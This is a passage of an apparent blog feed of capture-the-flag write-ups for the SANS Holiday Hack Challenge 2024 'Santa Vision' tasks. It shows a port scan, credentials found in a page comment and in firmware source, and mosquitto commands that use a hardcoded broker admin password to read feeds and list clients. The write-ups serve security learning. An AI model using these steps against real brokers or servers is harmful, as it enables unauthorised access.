&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-SantaVision) thedead@maccos act3-SantaVision % mosquitto_sub -v -h 34.44.88.211 -p 1883 -u SantaBrokerAdmin -P 8r0k3R4d1mp455wD -t &lt;span class=&#34;string&#34;&gt;&amp;#x27;santafeed&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;santafeed Sixteen elves launched operation: Idemcerybu&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;The answer to the silver trophy is name of the operation: &lt;code&gt;Idemcerybu&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;Gold&#34;&gt;&lt;a href=&#34;#Gold&#34; class=&#34;headerlink&#34; title=&#34;Gold&#34;&gt;&lt;/a&gt;Gold&lt;/h2&gt;&lt;p&gt;By following the hint of being 16 elves launching the operation and therefore applying ROT16 to &lt;code&gt;Idemcerybu&lt;/code&gt;, we can observe it becomes &lt;code&gt;Snowmobile&lt;/code&gt;. Turns out &lt;code&gt;snowmobile&lt;/code&gt; is the answer to the gold trophy.&lt;/p&gt;
&lt;h2 id=&#34;Thanks-to-Shuckle-Lord-Mixone&#34;&gt;&lt;a href=&#34;#Thanks-to-Shuckle-Lord-Mixone&#34; class=&#34;headerlink&#34; title=&#34;Thanks to @Shuckle Lord Mixone&#34;&gt;&lt;/a&gt;Thanks to @Shuckle Lord Mixone&lt;/h2&gt;&lt;p&gt;Because…my mind was so not connecting the dots :)&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act3" />
        <category term="Santa Vision" />
        <category term="Ribb Bonbowford" />
        <category term="Santa Vision C" />
        <updated>2025-01-03T12:03:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2025/01/03/2024-12-02-Santa-Vision-B/</id>
        <title>Santa Vision B</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2025/01/03/2024-12-02-Santa-Vision-B/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄ ❄ ❄&lt;/span&gt; ❄ ❄&lt;br&gt;Once logged on, authenticate further without using Wombley’s or Alabaster’s accounts to see the northpolefeeds on the monitors. What username worked here?&lt;/p&gt;
&lt;h2 id=&#34;Silver&#34;&gt;&lt;a href=&#34;#Silver&#34; class=&#34;headerlink&#34; title=&#34;Silver&#34;&gt;&lt;/a&gt;Silver&lt;/h2&gt;&lt;p&gt;Further analysis of the contents within &lt;code&gt;/static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin&lt;/code&gt;, I found the file &lt;code&gt;app/src/core/views.py&lt;/code&gt; which led to the user &lt;code&gt;SantaBrokerAdmin&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight python&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ...omissis...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;mqttPublish.single(&lt;span class=&#34;string&#34;&gt;&amp;quot;$CONTROL/dynamic-security/v1&amp;quot;&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;\&amp;quot;commands\&amp;quot;:[&amp;#123;\&amp;quot;command\&amp;quot;: \&amp;quot;deleteClient\&amp;quot;,\&amp;quot;username\&amp;quot;: \&amp;quot;&amp;quot;&lt;/span&gt;+name+&lt;span class=&#34;string&#34;&gt;&amp;quot;\&amp;quot;&amp;#125;]&amp;#125;&amp;quot;&lt;/span&gt;,hostname=&lt;span class=&#34;string&#34;&gt;&amp;quot;localhost&amp;quot;&lt;/span&gt;,port=&lt;span class=&#34;number&#34;&gt;1883&lt;/span&gt;,auth=&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;#x27;username&amp;#x27;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;SantaBrokerAdmin&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;password&amp;#x27;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;8r0k3R4d1mp455wD&amp;quot;&lt;/span&gt;&amp;#125;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ...omissis...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;mqttPublish.single(&lt;span class=&#34;string&#34;&gt;&amp;quot;$CONTROL/dynamic-security/v1&amp;quot;&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;\&amp;quot;commands\&amp;quot;:[&amp;#123;\&amp;quot;command\&amp;quot;: \&amp;quot;removeRoleACL\&amp;quot;,\&amp;quot;rolename\&amp;quot;: \&amp;quot;&amp;quot;&lt;/span&gt;+PlyrRole+&lt;span class=&#34;string&#34;&gt;&amp;quot;\&amp;quot;,\&amp;quot;acltype\&amp;quot;: \&amp;quot;subscribeLiteral\&amp;quot;,\&amp;quot;topic\&amp;quot;: \&amp;quot;&amp;quot;&lt;/span&gt;+PlyrTopic+&lt;span class=&#34;string&#34;&gt;&amp;quot;\&amp;quot;&amp;#125;]&amp;#125;&amp;quot;&lt;/span&gt;,hostname=&lt;span class=&#34;string&#34;&gt;&amp;quot;localhost&amp;quot;&lt;/span&gt;,port=&lt;span class=&#34;number&#34;&gt;1883&lt;/span&gt;,auth=&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;#x27;username&amp;#x27;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;SantaBrokerAdmin&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;password&amp;#x27;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;8r0k3R4d1mp455wD&amp;quot;&lt;/span&gt;&amp;#125;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ...omissis...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;mqttPublish.single(&lt;span class=&#34;string&#34;&gt;&amp;quot;$CONTROL/dynamic-security/v1&amp;quot;&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;\&amp;quot;commands\&amp;quot;:[&amp;#123;\&amp;quot;command\&amp;quot;: \&amp;quot;deleteRole\&amp;quot;,\&amp;quot;rolename\&amp;quot;: \&amp;quot;&amp;quot;&lt;/span&gt;+PlyrRole+&lt;span class=&#34;string&#34;&gt;&amp;quot;\&amp;quot;&amp;#125;]&amp;#125;&amp;quot;&lt;/span&gt;,hostname=&lt;span class=&#34;string&#34;&gt;&amp;quot;localhost&amp;quot;&lt;/span&gt;,port=&lt;span class=&#34;number&#34;&gt;1883&lt;/span&gt;,auth=&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;#x27;username&amp;#x27;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;SantaBrokerAdmin&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;password&amp;#x27;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;8r0k3R4d1mp455wD&amp;quot;&lt;/span&gt;&amp;#125;)        &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ...omissis...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;mqttPublish.multiple(CreatePlayerClients,hostname=&lt;span class=&#34;string&#34;&gt;&amp;quot;localhost&amp;quot;&lt;/span&gt;,port=&lt;span class=&#34;number&#34;&gt;1883&lt;/span&gt;,auth=&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;#x27;username&amp;#x27;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;SantaBrokerAdmin&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;password&amp;#x27;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;8r0k3R4d1mp455wD&amp;quot;&lt;/span&gt;&amp;#125;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ...omissis...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;I could then use this user to login and subscribe to additional feeds (e.g. &lt;code&gt;#&lt;/code&gt;). The answer for this was the username &lt;code&gt;SantaBrokerAdmin&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;Gold&#34;&gt;&lt;a href=&#34;#Gold&#34; class=&#34;headerlink&#34; title=&#34;Gold&#34;&gt;&lt;/a&gt;Gold&lt;/h2&gt;&lt;p&gt;By listing all the clients I noticed &lt;code&gt;santashelper2024&lt;/code&gt; being the only one I still had no information about but having access to the feed:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-SantaVision) thedead@maccos act3-SantaVision % mosquitto_ctrl -v -h 34.44.88.211 -p 1883 -u SantaBrokerAdmin -P 8r0k3R4d1mp455wD dynsec listClients      &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Warning: You are running mosquitto_ctrl without encryption.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;This means all of the configuration changes you are making are visible on the network, including passwords.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;AlabasterS&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;AlabasterS-viewer&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;SantaBrokerAdmin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;WomblyC&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;WomblyC-viewer&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;elfanon&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;elfmonitor&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;elfmonitor-viewer&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;santaMonitor&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;santashelper2024&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;santashelper2024-viewer&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-SantaVision) thedead@maccos act3-SantaVision % mosquitto_ctrl -v -h 34.44.88.211 -p 1883 -u SantaBrokerAdmin -P 8r0k3R4d1mp455wD dynsec getClient santashelper2024&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Warning: You are running mosquitto_ctrl without encryption.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;This means all of the configuration changes you are making are visible on the network, including passwords.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Username: santashelper2024&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Clientid:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Roles:    FrostbitFeedsReadRole (priority: -1)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;          NorthPoleFeedsAdminRole-viewer (priority: -1)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;          NorthPoleFeedsSantaHelperRole-viewer (priority: -1)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;          SantaFeedsRole (priority: -1)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;          SiteStatusElfRole (priority: -1)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;The answer for the gold trophy is &lt;code&gt;santashelper2024&lt;/code&gt;.&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act3" />
        <category term="Santa Vision" />
        <category term="Ribb Bonbowford" />
        <category term="Santa Vision B" />
        <updated>2025-01-03T12:02:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2025/01/03/2024-12-01-Santa-Vision-A/</id>
        <title>Santa Vision A</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2025/01/03/2024-12-01-Santa-Vision-A/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄ ❄&lt;/span&gt; ❄ ❄ ❄&lt;br&gt;What username logs you into the SantaVision portal?&lt;/p&gt;
&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;h3 id=&#34;Misplaced-Credentials&#34;&gt;&lt;a href=&#34;#Misplaced-Credentials&#34; class=&#34;headerlink&#34; title=&#34;Misplaced Credentials&#34;&gt;&lt;/a&gt;Misplaced Credentials&lt;/h3&gt;&lt;p&gt;From: Ribb Bonbowford&lt;br&gt;Objective: Santa Vision A&lt;br&gt;See if any credentials you find allow you to subscribe to any &lt;a href=&#34;https://en.wikipedia.org/wiki/MQTT&#34;&gt;MQTT&lt;/a&gt; feeds.&lt;/p&gt;
&lt;h3 id=&#34;Filesystem-Analysis&#34;&gt;&lt;a href=&#34;#Filesystem-Analysis&#34; class=&#34;headerlink&#34; title=&#34;Filesystem Analysis&#34;&gt;&lt;/a&gt;Filesystem Analysis&lt;/h3&gt;&lt;p&gt;From: Ribb Bonbowford&lt;br&gt;Objective: Santa Vision A&lt;br&gt;&lt;a href=&#34;https://github.com/onekey-sec/jefferson/&#34;&gt;jefferson&lt;/a&gt; is great for analyzing JFFS2 file systems.&lt;/p&gt;
&lt;h3 id=&#34;Database-Pilfering&#34;&gt;&lt;a href=&#34;#Database-Pilfering&#34; class=&#34;headerlink&#34; title=&#34;Database Pilfering&#34;&gt;&lt;/a&gt;Database Pilfering&lt;/h3&gt;&lt;p&gt;From: Ribb Bonbowford&lt;br&gt;Objective: Santa Vision A&lt;br&gt;Consider checking any database files for credentials…&lt;/p&gt;
&lt;h3 id=&#34;Mosquito-Mosquitto&#34;&gt;&lt;a href=&#34;#Mosquito-Mosquitto&#34; class=&#34;headerlink&#34; title=&#34;Mosquito Mosquitto&#34;&gt;&lt;/a&gt;Mosquito Mosquitto&lt;/h3&gt;&lt;p&gt;From: Ribb Bonbowford&lt;br&gt;&lt;a href=&#34;https://mosquitto.org/&#34;&gt;Mosquitto&lt;/a&gt; is a great client for interacting with MQTT, but their spelling may be suspect. Prefer a GUI? Try &lt;a href=&#34;https://mqttx.app/&#34;&gt;MQTTX&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;Silver&#34;&gt;&lt;a href=&#34;#Silver&#34; class=&#34;headerlink&#34; title=&#34;Silver&#34;&gt;&lt;/a&gt;Silver&lt;/h2&gt;&lt;p&gt;As a first step, I tried to discover the ports opened on the server with &lt;code&gt;nmap&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;thedead@maccos act3-SantaVision % nmap 34.44.88.211 -p-&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Nmap scan report &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; 211.88.44.34.bc.googleusercontent.com (34.44.88.211)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Host is up (0.16s latency).&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Not shown: 65530 closed tcp ports (conn-refused)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;PORT     STATE    SERVICE&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22/tcp   open     ssh&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;1883/tcp open     mqtt&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5355/tcp filtered llmnr&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8000/tcp open     http-alt&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9001/tcp open     tor-orport&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Nmap &lt;span class=&#34;keyword&#34;&gt;done&lt;/span&gt;: 1 IP address (1 host up) scanned &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; 3165.46 seconds&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Reaching the website on &lt;a href=&#34;http://34.56.1.154:8000/&#34;&gt;http://34.56.1.154:8000&lt;/a&gt;, I got presented with a login page:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-12-01-Santa-Vision-A/12_01_01_LoginPage.png&#34;&gt;&lt;br&gt;This was easily bypassed by looking at the html source and noticing leftover credentials in the comment:&lt;/p&gt;
&lt;figure class=&#34;highlight html&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;div&lt;/span&gt; &lt;span class=&#34;attr&#34;&gt;class&lt;/span&gt;=&lt;span class=&#34;string&#34;&gt;&amp;quot;footer&amp;quot;&lt;/span&gt; &lt;span class=&#34;attr&#34;&gt;id&lt;/span&gt;=&lt;span class=&#34;string&#34;&gt;&amp;quot;footer&amp;quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;b&lt;/span&gt;&amp;gt;&lt;/span&gt;©2024 Santavision Elventech Co., Ltd. Snow Rights Reserved.&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;(&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;i&lt;/span&gt;&amp;gt;&lt;/span&gt;topic &amp;#x27;sitestatus&amp;#x27;&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;i&lt;/span&gt;&amp;gt;&lt;/span&gt; available.)&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;b&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;div&lt;/span&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;comment&#34;&gt;&amp;lt;!-- mqtt: elfanon:elfanon --&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Login with user &lt;code&gt;elfanon&lt;/code&gt; and password &lt;code&gt;elfanon&lt;/code&gt; is successful, with &lt;code&gt;elfanon&lt;/code&gt; being the answer to the silver trophy.&lt;/p&gt;
&lt;h2 id=&#34;Gold&#34;&gt;&lt;a href=&#34;#Gold&#34; class=&#34;headerlink&#34; title=&#34;Gold&#34;&gt;&lt;/a&gt;Gold&lt;/h2&gt;&lt;p&gt;Following the message &lt;code&gt;(topic &amp;#39;sitestatus&amp;#39; available.)&lt;/code&gt; in the footer, I connected as elfanon using mosquitto to the sitestatus feed. Among the other messages, one was particularly interesting:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;thedead@maccos act3-SantaVision % mosquitto_sub -v -h 34.44.88.211 -p 1883 -u elfanon -P elfanon -t &lt;span class=&#34;string&#34;&gt;&amp;#x27;sitestatus&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ...omissis...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;sitestatus File downloaded: /static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ...omissis...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Once downloaded the file &lt;code&gt;/static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin&lt;/code&gt; it can be extracted with &lt;code&gt;jefferson&lt;/code&gt; and its contents explored:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;thedead@maccos act3-SantaVision % wget http://34.44.88.211:8000/static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# ... omisssis ... &lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2024-12-23 12:27:10 (687 KB/s) - ‘applicationDefault.bin’ saved [7340032/7340032]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;(act3-SantaVision) thedead@maccos act3-SantaVision % jefferson applicationDefault.bin &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;dumping fs to /Users/thedead/Desktop/repos/SANS_HolidayHack/2024/act3-SantaVision/jffs2-root (endianness: 